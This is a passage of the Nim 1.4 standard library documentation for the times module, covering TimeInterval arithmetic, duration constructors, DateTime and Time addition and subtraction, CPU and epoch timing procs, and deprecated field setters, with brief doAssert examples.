[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2185) ``` proc `-`(ti: TimeInterval): TimeInterval {...}{.raises: [], tags: [].} ``` Reverses a time interval **Example:** ``` let day = -initTimeInterval(hours = 24) doAssert day.hours == -24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2198) ``` proc `-`(ti1, ti2: TimeInterval): TimeInterval {...}{.raises: [], tags: [].} ``` Subtracts TimeInterval `ti1` from `ti2`. Time components are subtracted one-by-one, see output: **Example:** ``` let ti1 = initTimeInterval(hours = 24) let ti2 = initTimeInterval(hours = 4) doAssert (ti1 - ti2) == initTimeInterval(hours = 20) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2217) ``` proc `+=`(a: var TimeInterval; b: TimeInterval) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2228) ``` proc `-=`(a: var TimeInterval; b: TimeInterval) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2231) ``` proc between(startDt, endDt: DateTime): TimeInterval {...}{.raises: [], tags: [].} ``` Gives the difference between `startDt` and `endDt` as a `TimeInterval`. The following guarantees about the result is given:* All fields will have the same sign. * If `startDt.timezone == endDt.timezone`, it is guaranteed that `startDt + between(startDt, endDt) == endDt`. * If `startDt.timezone != endDt.timezone`, then the result will be equivalent to `between(startDt.utc, endDt.utc)`. **Example:** ``` var a = initDateTime(25, mMar, 2015, 12, 0, 0, utc()) var b = initDateTime(1, mApr, 2017, 15, 0, 15, utc()) var ti = initTimeInterval(years = 2, weeks = 1, hours = 3, seconds = 15) doAssert between(a, b) == ti doAssert between(a, b) == -between(b, a) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2247) ``` proc toParts(ti: TimeInterval): TimeIntervalParts {...}{.raises: [], tags: [].} ``` Converts a `TimeInterval` into an array consisting of its time units, starting with nanoseconds and ending with years. This procedure is useful for converting `TimeInterval` values to strings. E.g. then you need to implement custom interval printing **Example:** ``` var tp = toParts(initTimeInterval(years = 1, nanoseconds = 123)) doAssert tp[Years] == 1 doAssert tp[Nanoseconds] == 123 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2352) ``` proc `$`(ti: TimeInterval): string {...}{.raises: [], tags: [].} ``` Get string representation of `TimeInterval`. **Example:** ``` doAssert $initTimeInterval(years = 1, nanoseconds = 123) == "1 year and 123 nanoseconds" doAssert $initTimeInterval() == "0 nanoseconds" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2368) ``` proc nanoseconds(nanos: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `nanos` nanoseconds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2383) ``` proc microseconds(micros: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `micros` microseconds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2387) ``` proc milliseconds(ms: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `ms` milliseconds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2391) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2391) ``` proc seconds(s: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `s` seconds. `echo getTime() + 5.seconds` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2395) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2395) ``` proc minutes(m: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `m` minutes. `echo getTime() + 5.minutes` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2401) ``` proc hours(h: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `h` hours. `echo getTime() + 2.hours` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2407) ``` proc days(d: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `d` days. `echo getTime() + 2.days` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2413) ``` proc weeks(w: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `w` weeks. `echo getTime() + 2.weeks` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2419) ``` proc months(m: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `m` months. `echo getTime() + 2.months` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2425) ``` proc years(y: int): TimeInterval {...}{.inline, raises: [], tags: [].} ``` TimeInterval of `y` years. `echo getTime() + 2.years` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2431) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2431) ``` proc `+`(dt: DateTime; interval: TimeInterval): DateTime {...}{.raises: [], tags: [].} ``` Adds `interval` to `dt`. Components from `interval` are added in the order of their size, i.e. first the `years` component, then the `months` component and so on. The returned `DateTime` will have the same timezone as the input. Note that when adding months, monthday overflow is allowed. This means that if the resulting month doesn't have enough days it, the month will be incremented and the monthday will be set to the number of days overflowed. So adding one month to `31 October` will result in `31 November`, which will overflow and result in `1 December`. **Example:** ``` let dt = initDateTime(30, mMar, 2017, 00, 00, 00, utc()) doAssert $(dt + 1.months) == "2017-04-30T00:00:00Z" # This is correct and happens due to monthday overflow. doAssert $(dt - 1.months) == "2017-03-02T00:00:00Z" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2478) ``` proc `-`(dt: DateTime; interval: TimeInterval): DateTime {...}{.raises: [], tags: [].} ``` Subtract `interval` from `dt`. Components from `interval` are subtracted in the order of their size, i.e. first the `years` component, then the `months` component and so on. The returned `DateTime` will have the same timezone as the input. **Example:** ``` let dt = initDateTime(30, mMar, 2017, 00, 00, 00, utc()) doAssert $(dt - 5.days) == "2017-03-25T00:00:00Z" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2507) ``` proc `+`(time: Time; interval: TimeInterval): Time {...}{.raises: [], tags: [].} ``` Adds `interval` to `time`. If `interval` contains any years, months, weeks or days the operation is performed in the local timezone. **Example:** ``` let tm = fromUnix(0) doAssert tm + 5.seconds == fromUnix(5) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2518) ``` proc `-`(time: Time; interval: TimeInterval): Time {...}{.raises: [], tags: [].} ``` Subtracts `interval` from Time `time`. If `interval` contains any years, months, weeks or days the operation is performed in the local timezone. **Example:** ``` let tm = fromUnix(5) doAssert tm - 5.seconds == fromUnix(0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2531) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2531) ``` proc `+=`(a: var DateTime; b: TimeInterval) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2544) ``` proc `-=`(a: var DateTime; b: TimeInterval) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2547) ``` proc `+=`(t: var Time; b: TimeInterval) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2550) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2550) ``` proc `-=`(t: var Time; b: TimeInterval) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2553) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2553) ``` proc epochTime(): float {...}{.tags: [TimeEffect], raises: [].} ``` Gets time after the UNIX epoch (1970) in seconds. It is a float because sub-second resolution is likely to be supported (depending on the hardware/OS). `getTime` should generally be preferred over this proc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2560) ``` proc cpuTime(): float {...}{.tags: [TimeEffect], raises: [].} ``` Gets time spent that the CPU spent to run the current process in seconds. This may be more useful for benchmarking than `epochTime`. However, it may measure the real time instead (depending on the OS). The value of the result has no meaning. To generate useful timing values, take the difference between the results of two `cpuTime` calls: **Example:** ``` var t0 = cpuTime() # some useless work here (calculate fibonacci) var fib = @[0, 1, 1] for i in 1..10: fib.add(fib[^1] + fib[^2]) echo "CPU time [s] ", cpuTime() - t0 echo "Fib is [s] ", fib ``` When the flag `--benchmarkVM` is passed to the compiler, this proc is also available at compile time [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2598) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2598) ``` proc nanosecond=(dt: var DateTime; value: NanosecondRange) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2630) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2630) ``` proc second=(dt: var DateTime; value: SecondRange) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2633) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2633) ``` proc minute=(dt: var DateTime; value: MinuteRange) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2636) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2636) ``` proc hour=(dt: var DateTime; value: HourRange) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2639) ``` proc monthdayZero=(dt: var DateTime; value: int) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2642) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2642) ``` proc monthZero=(dt: var DateTime; value: int) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2645) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2645) ``` proc year=(dt: var DateTime; value: int) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2648) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2648) ``` proc weekday=(dt: var DateTime; value: WeekDay) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2651) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2651) ``` proc yearday=(dt: var DateTime; value: YeardayRange) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2654) ``` proc isDst=(dt: var DateTime; value: bool) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2657) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2657) ``` proc timezone=(dt: var DateTime; value: Timezone) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2660) ``` proc utcOffset=(dt: var DateTime; value: int) {...}{. deprecated: "Deprecated since v1.3.1", raises: [], tags: [].} ``` **Deprecated:** Deprecated since v1.3.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2663) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2663) Templates --------- ``` template formatValue(result: var string; value: Time; specifier: string) ``` adapter for `strformat`. Not intended to be called directly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/times.nim#L2046) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/times.nim#L2046)
programming_docs